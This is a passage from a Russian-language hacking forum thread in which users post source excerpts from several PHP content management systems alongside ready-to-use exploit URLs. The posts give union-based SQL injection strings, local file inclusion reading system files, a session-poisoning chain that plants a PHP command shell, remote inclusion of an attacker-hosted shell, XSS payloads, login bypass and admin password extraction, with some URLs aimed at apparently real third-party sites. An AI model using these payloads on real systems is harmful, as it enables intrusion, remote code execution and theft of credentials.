                     
    'new''add''remove''edit' );

    foreach(
    $get_vars as $get_var) {
       if(isset(
    $_GET[$get_var])) {
         ${
    $get_var} = mysql_real_escape_string($_GET[$get_var], $db);
       } elseif(isset(
    $_POST[$get_var])) {
         ${
    $get_var} = mysql_real_escape_string($_POST[$get_var], $db);
       } else {
         ${
    $get_var} = null;
       }
    }
    ...
    // To run the script on systeme with "register_globals" disabled,
    // import all variables in a bit secured way: Remove HTML Tags

    foreach($_REQUEST as $key => $value)
    {
          
    // Allow all tags in headers and footers
          
    if($key == "group_header" || $key == "group_footer"){
              ${
    $key} = $value;
              
          
    // Handle arrays
          
    } elseif(is_array($value)) {
              foreach(
    $value as $entry)
              {
                  ${
    $key}[] = strip_tags($entry);
              }
          
    // Handle the rest
          
    } else {
            
    // ${$key} = htmlspecialchars($value); --chatelao-20071121, doesn't work with Chinese Characters
            
    ${$key} = strip_tags($value);
        }
        
        
    // TBD: prevent SQL-Injection
    }
    ...

    // ------------------- Group query handling ------------------------
    //

    $select_groups "SELECT groups.*
                              , parent_groups.group_name  parent_name
                              , parent_groups.group_id    parent_id
                           FROM 
    $table_groups AS groups
                   LEFT JOIN 
    $table_groups AS parent_groups
                          ON groups.group_parent_id = parent_groups.group_id"
    ;
    group.php
    PHP:
    // Open for Editing
    else if($edit || $id)
    {
      if(
    $edit$id $selected[0];
      if(! 
    $read_only)
      {
    $result mysql_query("$select_groups WHERE groups.group_id=$id",$db);
    SQL
    http://localhost/addressbookv5.4.6/group.php?id=-1+union+select+1,2,3,4,version(),6,7,8,9+--+

    -------------------------

    edit.php
    PHP:
    else if($id)
    {
      if(! 
    $read_only)
      {
    $result mysql_query("SELECT * FROM $base_from_where AND $table.id=$id",$db);
    SQL
    http://localhost/addressbookv5.4.6/edit.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+--+
     
    #314 nikp, 11 Feb 2010
    Last edited: 11 Feb 2010
    5 people like this.
  15. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    cms chicomas Ver : 2.0.4
    http://sourceforge.net/projects/chicomas/

    functions.php
    PHP:
    function SetLanguage() {
        global 
    $defaultlanguage;

        
    $obj_language = new CLanguage();
        
    $obj_languagearray = new CLanguageArray();
        
    $obj_languageengine = new CLanguageEngine();

        if (!
    $_REQUEST['lang']){
            
    // No change request of language
            
    if (!session_is_registered("lang")){
                
    //No Registered
                
    $lang $defaultlanguage;
                
    session_register("lang");
                
    $_SESSION['lang'] = $lang;
            }
            else{
                
    //Registered
            
    }
        }
        else{
            
    //Change request of language
            
    $lang $_REQUEST['lang'];
            
    $obj_language $obj_languageengine->GetLanguage($lang);


            if (
    $obj_language!=null){
                if (
    session_is_registered("lang")){
                    
    $_SESSION['lang'] = $lang;
                }
                else{
                    if (
    $lang =="")
                        
    $lang $defaultlanguage;
                    
    session_register("lang");
                }
            }
        }

        
    $lang $_SESSION['lang'];

        switch (
    strtolower($lang)){
        default:
        case 
    "tr":
            
    $charset "iso-8859-9";
        break;
        case 
    "en":
            
    $charset "iso-8859-1";
        break;
        case 
    "de":
            
    $charset "iso-8859-1";
        break;
        }

        if (
    session_is_registered("charset")){
            
    $_SESSION['charset'] = $charset;
        }
        else{
            if (
    $charset =="")
                
    $charset "iso-8859-9";
            
    session_register("charset");
        }

        
    //Include Language File
        
    include("languages/".strtolower($_SESSION['lang'])."/language.php");
    }
    Если $obj_language = $obj_languageengine->GetLanguage($lang); вернет не пустой результат,
    значение $lang = $_REQUEST['lang']; занесется в сессию и затем проинклудится
    include("languages/".strtolower($_SESSION['lang'])."/language.php");

    смотрим
    objects/obj_languages.php
    PHP:
    class CLanguageEngine {
        function 
    GetLanguages($active){
            
    $o_dataaccess = new CDataAccess();
            return 
    $o_dataaccess->GetLanguages($active);
    objects/obj_dataaccess.php
    PHP:
        function GetLanguage($lang) {

            
    $sql  "SELECT * FROM languages ";
            
    $sql .= "WHERE lang='".strtolower($lang)."' ";
            
    $sql .= "AND active='1'";
            
    //echo "SQL:".$sql."<br>";

            
    $db = new db();
            
    $db->db_connect();
            if (
    $db->is_connected()){
                
    $db->db_query($sql);
                while (
    $row $db->get_row()) {
                    
    $o_language = new CLanguage($row);
                }
                
    $db->db_disconnect();
            }
                return 
    $o_language;
        }
    при mq=off
    SQL
    http://localhost/chicomas/index.php?lang=en'+union+select+1,2,3,4,version(),6+--+

    SQL+LFI
    http://localhost/chicomas/index.php?lang=/../../../../../../../boot.ini%00'+union+select+1,2,3,4,5,6+--+

    Shell
    если нашли сессию, получаем шелл, например так: (используем два разных браузера)

    opera, заливаем шелл в сессию
    http://localhost/chicomas/index.php?lang='+union+select+1,<?if($_GET[pass])system($_GET[pass]);?>,3,4,5,6+--+

    firefox, инклудим сессию
    http://localhost/chicomas/index.php?lang=/../../../../../../../Server/PHP/TMP/sess_be2c81ce822253b08bfa181ee5b7cf9d%00'+union+select+1,<?if($_GET[pass])system($_GET[pass]);?>,3,4,version(),6+--+&pass=dir

    -------------------

    tools/mysqlbackuppro/index.php
    PHP:
    /*
    * Locale Setting
    */
    $locale gonxlocale::init();
    if (!isset(
    $locale) or $locale=="") {
        
    $locale $GonxAdmin["locale"];
    }
    require_once(
    "locale/".$locale.".php");
    tools/mysqlbackuppro/libs/locale.class.php
    PHP:
    class gonxlocale{
        
    /**
         * Constructor
         * @access protected
         */
        
    function locale(){
            
        }
        
        
    /**
         *
         * @access public
         * @return void 
         **/
        
    function init(){
            global 
    $locale,$GonxAdmin,$HTTP_SESSION_VARS;
            if (
    session_is_registered('gonxlocale') and !isset($_GET["locale"])) {
                
    $locale $HTTP_SESSION_VARS["gonxlocale"];
            } elseif (!isset(
    $_GET["locale"])) {
                
    $locale $GonxAdmin["locale"];
                
    session_register('gonxlocale');
                
    $gonxlocale $locale;
            } elseif (isset(
    $_GET["locale"])) {
                if (
    is_file("locale/".$_GET["locale"].".php")) {
                    
    session_register('gonxlocale');
                    
    $HTTP_SESSION_VARS["gonxlocale"] = $_GET["locale"];
                }
            }
            return 
    $locale;
        }
    LFI
    mq=off
    http://localhost/chicomas/tools/mysqlbackuppro/index.php?locale=../../../../../../boot.ini%00
     
    #315 nikp, 18 Feb 2010
    Last edited: 19 Feb 2010
    3 people like this.
  16. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    AdaptCMS Lite v1.5 - NEW
    www.adaptcms.com

    pXSS
    mq=off
    http://localhost/adaptcms_lite_1.5/index.php
    post
    skin=1>"><script>alert(121212);</script>

    http://localhost/adaptcms_lite_1.5/?cat=1'+><script>alert(121212);</script>
    http://localhost/adaptcms_lite_1.5/index.php?view=redirect&url=1'+><script>alert(121212);</script>
    http://localhost/adaptcms_lite_1.5/index.php/>'><script>alert(121212)</script>

    -----------------------

    index.php
    PHP:
    $_GET['id'] = str_replace("/","",stripslashes(check($_GET['id'])));

    $sql mysql_query("SELECT * FROM ".$pre."pages WHERE url = '".$_GET['id']."'");
    functions.php
    PHP:
    function check($val) {
       
    // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
       // this prevents some character re-spacing such as <java\0script>
       // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
       
    $val preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/'''$val);
       
       
    // straight replacements, the user should never need these since they're normal characters
       // this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
       
    $search 'abcdefghijklmnopqrstuvwxyz';
       
    $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
       
    $search .= '1234567890!@#$%^&*()';
       
    $search .= '~`";:?+/={}[]-_|\'\\';
       for (
    $i 0$i strlen($search); $i++) {
          
    // ;? matches the ;, which is optional
          // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
       
          // &#x0040 @ search for the hex values
          
    $val preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i'$search[$i], $val); // with a ;
          // &#00064 @ 0{0,7} matches '0' zero to seven times
          
    $val preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/'$search[$i], $val); // with a ;
       
    }
       
       
    // now the only remaining whitespace attacks are \t, \n, and \r
       
    $ra1 = Array('javascript''vbscript''expression''applet''meta''xml''blink''link''style''script''embed''object''iframe''frame''frameset''ilayer''layer''bgsound''title''base''img');
       
    $ra2 = Array('onabort''onactivate''onafterprint''onafterupdate''onbeforeactivate''onbeforecopy''onbeforecut''onbeforedeactivate''onbeforeeditfocus''onbeforepaste''onbeforeprint''onbeforeunload''onbeforeupdate''onblur''onbounce''oncellchange''onchange''onclick''oncontextmenu''oncontrolselect''oncopy''oncut''ondataavailable''ondatasetchanged''ondatasetcomplete''ondblclick''ondeactivate''ondrag''ondragend''ondragenter''ondragleave''ondragover''ondragstart''ondrop''onerror''onerrorupdate''onfilterchange''onfinish''onfocus''onfocusin''onfocusout''onhelp''onkeydown''onkeypress''onkeyup''onlayoutcomplete''onload''onlosecapture''onmousedown''onmouseenter''onmouseleave''onmousemove''onmouseout''onmouseover''onmouseup''onmousewheel''onmove''onmoveend''onmovestart''onpaste''onpropertychange''onreadystatechange''onreset''onresize''onresizeend''onresizestart''onrowenter''onrowexit''onrowsdelete''onrowsinserted''onscroll''onselect''onselectionchange''onselectstart''onstart''onstop''onsubmit''onunload');
       
    $ra array_merge($ra1$ra2);
       
       
    $found true// keep replacing as long as the previous round replaced something
       
    while ($found == true) {
          
    $val_before $val;
          for (
    $i 0$i sizeof($ra); $i++) {
             
    $pattern '/';
             for (
    $j 0$j strlen($ra[$i]); $j++) {
                if (
    $j 0) {
                   
    $pattern .= '(';
                   
    $pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
                   
    $pattern .= '|(&#0{0,8}([9][10][13]);?)?';
                   
    $pattern .= ')?';
                }
                
    $pattern .= $ra[$i][$j];
             }
             
    $pattern .= '/i';
             
    $replacement substr($ra[$i], 02).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
             
    $val preg_replace($pattern$replacement$val); // filter out the hex tags
             
    if ($val_before == $val) {
                
    // no replacements were made, so exit the loop
                
    $found false;
             }
          }
       }
       return 
    strip_tags($val"<p><a><font><b><i><u><span><em><div><li><ul><ol><center><blockquote>");
    }
    SQL
    mq=off
    http://localhost/adaptcms_lite_1.5/?view=page&id=-1'+union+select+1,user(),3,version(),5,6+--+

    -------------------------------------

    index.php
    PHP:
    ...
    if ($_GET['field'] or $_GET['data']) {
    $sql = mysql_query("SELECT * FROM ".$pre."fielddata WHERE".$fddata." ORDER BY `id` DESC".$lim);
    } else {
    if ($_GET['abc']) {
    if ($_GET['cat']) {
    $sql = mysql_query("SELECT * FROM ".$pre."articles WHERE section = '".$_GET['cat']."' AND ver = '' ".$abc.$adate."ORDER BY `id` DESC".$lim);
    } else {
    $sql = mysql_query("SELECT * FROM ".$pre."articles WHERE ver = '' ".$abc.$adate."ORDER BY `id` DESC".$lim);
    }
    } else {
    if ($_GET['cat']) {
    $sql = mysql_query("SELECT * FROM ".$pre."articles WHERE section = '".$_GET['cat']."' AND ver = ''".$adate." ORDER BY `id` DESC".$lim);
    } else {
    $sql = mysql_query("SELECT * FROM ".$pre."articles WHERE ver = ''".$adate." ORDER BY `id` DESC".$lim);
    }
    }
    }
    while($r = mysql_fetch_array($sql)) {

    unset($data, $datas, $pab, $rab, $name1, $link1, $n, $m, $y, $x, $i, $id, $name, $relations_id, $relations_sec, $s, $fetch, $get, $dats, $fname, $lid, $lids, $b, $sqlst, $k, $data23, $check);

    ...
    $pab[0] = "{link}";
    $pab[1] = "{date}";
    $pab[2] = "{story}";
    $pab[3] = "{comments}";
    $pab[4] = "{cnum}";
    $pab[5] = "{pcomment}";
    $pab[6] = "{author}";
    $pab[7] = "{section}";
    $pab[8] = "{cat}";
    $pab[9] = "{url}";
    $pab[10] = "{title}";
    ....
    $pab[30] = "{".$r[section]."_name}";
    $pab[31] = "{".$r[section]."_username}";
    $pab[32] = "{".$r[section]."_id}";
    $pab[33] = "{".$r[section]."_views}";
    $pab[34] = "{".$r[section]."_votes}";
    $pab[35] = "{".$r[section]."_social_icons}";

    ...

    // start - custom fields
    $name = "";$data = "";$row = "";
    $sql_cf = mysql_query("SELECT * FROM ".$pre."fields WHERE cat = '".$r[section]."' OR cat = 'user-profile'");
    while ($row = mysql_fetch_array($sql_cf)) {
    $name = "$row[name]";

    $data = mysql_fetch_row(mysql_query("SELECT data FROM ".$pre."fielddata WHERE fname = '".$name."' AND aid = '".$r[id]."'"));
    $fdata[$name] = $data[0];

    if ($data[0]) {
    $n = $n + 1;
    $pab[$n] = "{".$name."}";
    $n = $n + 1;
    $pab[$n] = "{".$r[section]."_".$name."}";
    $m = $m + 1;
    if ($row[type] == "textarea") {
    $rab[$m] = parse_text($data[0]);
    $m = $m + 1;
    $rab[$m] = parse_text($data[0]);
    } else {
    $rab[$m] = stripslashes(html_entity_decode($data[0]));
    $m = $m + 1;
    $rab[$m] = stripslashes(html_entity_decode($data[0]));
    }
    } else {
    $n = $n + 1;
    $pab[$n] = "{".$name."}";
    $n = $n + 1;
    $pab[$n] = "{".$r[section]."_".$name."}";
    $m = $m + 1;
    $rab[$m] = "";
    $m = $m + 1;
    $rab[$m] = "";
    }
    }
    // end - custom fields

    ...

    eval (" ?>" . str_replace($pab, $rab, stripslashes($temp[0])) . " <?php ");

    ...
    Выбирается шаблон ($temp[0]) и в нем поля (массив $pab) заменяются на конкретное содержание (массив $rab).

    Чтобы выполнить свою команду, нужно добавить в массивы по элементу, где
    $pab[400] = "{cat}"; ( такое поле есть в шаблоне $temp[0] )
    $rab[400] = "php code"; (наша команда или скрипт)

    этому препятсвует unset
    unset($data, $datas, $pab, $rab, ...);

    Приходится использовать unset багу.

    сформируем hash_del_key для php5
    для pab = 2090607416
    для rab = 2090679290


    Eval
    register_globals = On
    версия php, уязвимая для UNSET WHACKING

    http://localhost/adaptcms_lite_1.5/?view=list&pab[400]=cat&rab[400]=<?php phpinfo(); ?>&2090607416[400]=1&2090679290[400]=1

    http://localhost/adaptcms_lite_1.5/?view=list&pab[400]=cat&rab[400]=<?php phpinfo(); ?>&2090679290=1
     
    #316 nikp, 21 Feb 2010
    Last edited: 21 Feb 2010
    3 people like this.
  17. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    329
    Likes Received:
    591
    Reputations:
    764
    cms jetbox
    http://sourceforge.net/projects/jetboxone/
    dork:"Powered by Jetbox CMS ™"

    Поддерживает УРЛ стандартного типа, но работает со своим
    PHP:
    if ($use_standard_url_method==true) {
        
    $url explode("/",$url_to_split[1]);  // Splits URL into array
    ---------------------------

    phpinfo

    http://localhost/jetbox/includes/phpinfo.php
    http://www.js.mlc.edu.tw/php/jetbox/includes/phpinfo.php

    ---------------------------

    index.php
    PHP:
    if (isset($view)) {
        
    $dodefaultpage=false;
        
    $sql2="SELECT * FROM navigation WHERE view_name='".$view."'";
        
    $r2 mysql_prefix_query($sql2) or die(mysql_error()." q: ".$sql2."<br /> Line: ".__LINE__." <br/>File: ".__FILE__);
        if (
    $ra2 mysql_fetch_array($r2)){
            
    //echo $ra2["file_name"];
            
    include($ra2["file_name"]);
        }
    SQL+LFI
    mq=off
    rg=on
    http://localhost/jetbox/?view=1'+union+select+1,"/boot.ini%",3,4,5,6,7,8,9,10,11,12+--+
    http://www.egyptiancorner.org/ec/view/1'+union+select+1,0x2F6574632F706173737764,3,4,5,6,7,8,9,10,11,12+--+

    SQL+RFI
    magic_quotes_gpc = Off
    register_globals = On
    allow_url_include = On
    http://localhost/jetbox/?view=-1'+union+select+1,"http://www.site.com/shell.txt",3,4,5,6,7,8,9,10,11,12+--+
    http://ghostwriterreviews.com/jetbox/view/1'+union+select+1,0x2F6574632F706173737764,3,4,5,6,7,8,9,10,11,12+--+

    ----------------------------

    blogs.php
    PHP:
    ...
    if (
    $item<>'' && is_numeric($item)) {
       
    $sqlselect1 "SELECT *, struct.id AS struct_id FROM blog, struct WHERE struct.container_id=".$container_id." ".$wfqadd." AND struct.content_id=blog.b_id AND struct.id=".$item
    }
    elseif(
    $option=='last10'){
        
    $sqlselect1 "SELECT *, struct.id AS struct_id FROM blog, struct WHERE struct.container_id=".$container_id." ".$wfqadd." AND struct.content_id=blog.b_id ORDER BY blog.b_id DESC LIMIT 10";
    }
    else{
        
    $sqlselect1 "SELECT *, struct.id AS struct_id FROM blog, struct WHERE struct.container_id=".$container_id." ".$wfqadd." AND struct.content_id=blog.b_id ORDER BY blog.b_id DESC";
    }
    #echo $sqlselect1;

    $result1 mysql_prefix_query ($sqlselect1) or die (mysql_error());
    $blogscountmysql_num_rows($result1);
    if (
    $blogscount>'0') {
        
    $view_tpl = new Template("./");
        
    $view_tpl->set_file("block""blogs_item_tpl.html");        
        
    $view_tpl->set_block("block""blogs","blogsz");
        
    $view_tpl->set_var(array("absolutepathfull"=>$absolutepathfull ));

        while (
    $resultarray mysql_fetch_array($result1)){
            
    $records[1][5]=$resultarray["b_id"];
            
    ob_start();
            
    loggedin_workflow();
            
    $containera ob_get_contents(); 
            
    ob_end_clean();

    ...

        if (
    $item<>'' && is_numeric($item)) {
            
    //$t->set_var("containera", "add comments", true);
            
    $sqlselect1 "SELECT * FROM blog_comments WHERE blog_id=".$id." ORDER BY blog_comments.c_id ASC";
            
    $result1 mysql_prefix_query($sqlselect1) or die (mysql_error());
            
    $blog_commentcountmysql_num_rows($result1);
            if (
    $blog_commentcount>'0') {
                
    $view_tpl2 = new Template("./");
                
    $view_tpl2->set_file("block""blog_comment_item_tpl.html");        
                
    $view_tpl2->set_block("block""blog_comment","blog_commentz");
    ...
    SQL
    rg=on
    http://localhost/jetbox/index.php?view=blog&item=1&id=1+union+select+1,2,user_password,4,5,type,user_password+from+user+--+
    http://localhost/jetbox/view/blog/item/1/id/1+union+select+1,2,user_password,4,5,type,user_password+from+user+--+
    Работает, если в блоге есть хотя бы одна запись.
    Получаем логин и пароль (не хеш) от админки.
     
    #317 nikp, 23 Feb 2010
    Last edited: 25 Feb 2010
    8 people like this.
  18. [x60]unu

    [x60]unu Banned

    Joined:
    7 May 2009
    Messages:
    98
    Likes Received:
    498
    Reputations:
    163
    iGaming

    iGaming CMS
    Product : iGaming CMS
    version : 1.5
    site : forums.igamingcms.com
    SQL injection
    mq=off
    games.php
    PHP:
     $sql "SELECT `id`,`title`,`section`,`genre`,`developer`,`publisher`,`release_date` FROM `sp_games` ";

       if (!empty(
    $_REQUEST['title'])) {

          
    $sql .= "WHERE `title` LIKE '$_REQUEST[title]%' ";

          if (!empty(
    $_REQUEST['section'])) {

             
    $sql .= " AND `section` = '$_REQUEST[section]' ";

          }

          
    $sql .= " AND `published` = '1' ";

       } else {

          if (!empty(
    $_REQUEST['section'])) {

            
    $sql .= "WHERE `section` = '$_REQUEST[section]' AND `published` = '1' ";

          } else {

              
    $sql .= "WHERE `published` = '1' ";

    ...
     
     if (
    $sql == "SELECT `id`,`title`,`section`,`genre`,`developer`,`publisher`,`release_date` FROM `sp_games` WHERE `published` = '1' ORDER BY `title` ASC")
    Code:
    http://localhost/games.php?order=genre&section=%27+and+1=0+union+all+select+1,version%28%29,3,4,5,6,7--+&sort=
    index.php
    Code:
    http://localhost/index.php?do=viewarticle&id=2'+and+1=0+union+all+select+1,version(),3,4,5,6,7,8,9--+
    previews.php
    PHP:
    $preview $db->Execute("SELECT * FROM `sp_previews` WHERE `id` = '$_REQUEST[id]'");
    Code:
    http://localhost/previews.php?do=view&id=1'+union+all+select+1,2,3,4,5--+

    Admin Panel (SQL inj) (LFI)
    LFI : support.php
    PHP:
    require_once("../sources/docs/$_REQUEST[id].php");
    Code:
    http://localhost/admin/support.php?id=../../file%00
    SQL injection : screenshots.php
    mq=off
    PHP:
       if (isset($_REQUEST['s'])) {
          
    $latestPreview $db->Execute("SELECT id,title,section FROM `sp_screenshots` WHERE `section` = '$_REQUEST[s]' ORDER BY `id` DESC");
    Code:
    http://localhost/admin/screenshots.php?s=1'+and+1=0+union+all+select+1,version(),3--+
     
    #318 [x60]unu, 26 Feb 2010
    Last edited: 26 Feb 2010
    8 people like this.
  19. .:[melkiy]:.

    .:[melkiy]:. Elder - Старейшина

    Joined:
    25 Jan 2009
    Messages:
    358
    Likes Received:
    313
    Reputations:
    163
    Stash CMS 1.0.3​


    1) bypass (требования: mq=off)

    file: /admin/library/authenticate.php

    PHP:
            function login($username,$password,$remember,$location){
                
    $database = new Db();
                
    $results $database->sqlQuery("SELECT user_key,user_firstname,user_lastname, user_admin FROM ".TBPREFIX."_user WHERE user_password = '$password' AND user_username = '$username'");
                if(
    $results){
                    foreach(
    $results as $results){
                        
    $userkey $results['user_key'];
                        
    $firstname $results['user_firstname'];
                        
    $lastname $results['user_lastname'];
                        
    $admin $results['user_admin'];
                    }
                    
    $name $firstname." ".$lastname;
                    
    $uniquekey $name.$userkey;
                    
    $uniquekey md5($uniquekey);
                    
    $_SESSION['username'] = $name;
                    
    $_SESSION['userkey'] = $userkey;
                    
    $_SESSION['uniquekey'] = $uniquekey;
                    
    $_SESSION['admin'] = $admin;
                    if (
    $remember == true){
                        
    setcookie("bsm"$userkeytime()+108000);  /* expire in 30 days */
                        
    setcookie("msb"$uniquekeytime()+108000);  /* expire in 30 days */
                    
    }
                    
    header('location:'.$location);
                }else{
                    return 
    false;
                }    
            }
    result:

    login: ' or '1'='1
    pass: asd

    -------------------
    боян
    -------------------

    3) blind sql injection (требования: mq=off,желательно 5 ветка бд)

    file: resetpassword.php
    PHP:
    $username $_POST['username'];
            
    $check $database->sqlQuery("SELECT count(*) as cnt FROM ".TBPREFIX."_user WHERE user_username = '$username'",TRUE,FALSE);
            if(
    $check['cnt'] == 0){
                if (
    $username == '') {
                    
    $msg 'You must enter your Username';
                }else {
                    
    $msg $username" doesn't exist";
                }
    result:

    Тыкаем в /admin/login.php Forgot your password, в поле username пишем :

    Code:
    '/**/and/**/(1,2)in(select/**/*/**/from(select/**/name_const(version(),1),name_const(version(),1))as/**/a)/**/and/**/'1'='1
    ......
     
    #319 .:[melkiy]:., 27 Feb 2010
    Last edited: 27 Feb 2010
    5 people like this.
  20. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Ресурс http://download.ru/products/tiger-cms
    редактирование раздела в админке файл edit.php
    PHP:
    ... check_var($_GET['id']);
            
    $id_site $_GET['id'];
            
    $get_site mysql_query("SELECT * FROM content WHERE razdel_id = '".$id_site."' LIMIT 1");
            if(
    mysql_num_rows($get_site) == 0)
                {
                    
    mysql_query("INSERT INTO content(razdel_id,text) VALUES('".$id_site."','Текст')");
                }
                
            
    $get_site mysql_query("SELECT * FROM content WHERE razdel_id = '".$id_site."' LIMIT 1");
            list(
    $id,$razdel_id_id,$text) = mysql_fetch_array($get_site);
            
            
    $get_razdel_name mysql_query("SELECT name FROM razdeli WHERE id='".$id_site."' LIMIT 1");
            list(
    $razdel_name) = mysql_fetch_array($get_razdel_name);...
    функия ис /admin/functions.php :
    PHP:
    ...
    function 
    check_var($var)
            {
                   if(!isset(
    $var)) 
                    {
                        die (
    "<script language='Javascript'>function reload() {location = \"index.php\"}; setTimeout('reload()', 0);</script>");
                    }
            }
    ...
    1) SQL inj:
    Вывод в редактор !!!
    2) Путь если ошибки включены.

    Файл admin\modules\razdel\delete.php:
    PHP:
    ... check_var($_GET['id']);
        
    $id $_GET['id'];
        
    mysql_query("DELETE FROM razdeli WHERE id = '".$id."' LIMIT 1");
        
    mysql_query("DELETE FROM content WHERE razdel_id = '".$id."' LIMIT 1");
        echo 
    'Раздел удален'; ...
    1) SQL inj:
    Файл admin\modules\razdel\save_content.php:
    PHP:
    ... check_var($_GET['site_id']);
            
    check_var($_POST['text']);
            
    check_var($_POST['razdel_name']);
            
    mysql_query("UPDATE razdeli SET name = '".$_POST['razdel_name']."' WHERE id='".$_GET['site_id']."' LIMIT 1");
            
    mysql_query("UPDATE content SET text = '".$_POST['text']."' WHERE razdel_id = '".$_GET['site_id']."' LIMIT 1");
            echo 
    'Раздел обновлен';...
    1) SQL inj:
    нужно еще устанавливать пост: $_POST['text'], $_POST['razdel_name'] если не будет -переадресация ...
    2. $_POST['razdel_name']'[SQL] должны быть установлены:
    - $_POST['text']
    - action:
    Code:
    admin/index.php?module=razdel&task=save_content&site_id=13 
    3. $_POST['text']'[SQL]
    должны быть установлены:
    - $_POST['razdel_name']
    - action:
    Code:
    index.php?module=razdel&task=save_content&site_id=13
    Файл admin\modules\news\edit.php :
    PHP:
    ... check_var($_GET['id']);
        
    $id $_GET['id'];
        
        
    $get_news_e mysql_query("SELECT id,title,text,alltext FROM news WHERE id='".$id."' LIMIT 1");
        list(
    $id_news_e,$title_e,$text_e,$alltext_e) = mysql_fetch_array($get_news_e); ...
    1) пути;
    2) http://localhost/triger/center3/admin/index.php?module=news&task=edit&id=6'[SQL];
    пример:
    Файл admin\modules\news\create.php:
    PHP:
    ... check_var($_POST['title']);
         
    $title $_POST['title'];
          
    check_len($title,200);
           
    clear_my_string($title);
            
    $date date("Y-m-d");
           
           
    mysql_query("INSERT INTO news(title,text,alltext,date) VALUES('".$title."','".$_POST['text']."','".$_POST['alltext']."','".$date."')"); ...
    1) SQL inj $_POST['alltext']'[SQL]
    обязательны:
    - $_POST['text']'
    2) SQL inj $_POST['text']'[SQL]
    обязательны:
    - $_POST['alltext'];

    Файл admin\modules\news\delete.php:
    PHP:
    ...  check_var($_GET['id']);
        
    $id $_GET['id'];
        
    mysql_query("DELETE FROM news WHERE id = '".$id."' LIMIT 1");
        echo 
    'Новость удалена'; ...
    1) http://site/admin/index.php?module=news&task=delete&id=6'[SQL]

    Файл \admin\modules\news\save_news.php:
    PHP:
    ...  check_var($_GET['id']);
            
    check_var($_POST['title']);
            
    check_var($_POST['text']);
            
    check_var($_POST['alltext']);
            
    $id  $_GET['id'];
            
    $title $_POST['title'];
            
    $text $_POST['text'];
            
    $all_text $_POST['alltext'];
            
    $date date("Y-m-d");
            
    mysql_query("UPDATE news SET title = '".$title."',text = '".$text."',alltext = '".$all_text."',date='".$date."' WHERE id='".$id."' LIMIT 1");
            echo 
    'Новость обновлена'; ...
    1) SQL injection не привожу, аналогично, за пост не забываем ...

    Файл \admin\modules\tags\save.php :
    1) SQL inj update...

    Условия:
    1) mg=off;
    2) админка;
     
    _________________________
    #320 Strilo4ka, 1 Mar 2010
    Last edited: 1 Mar 2010
    4 people like this.
Loading...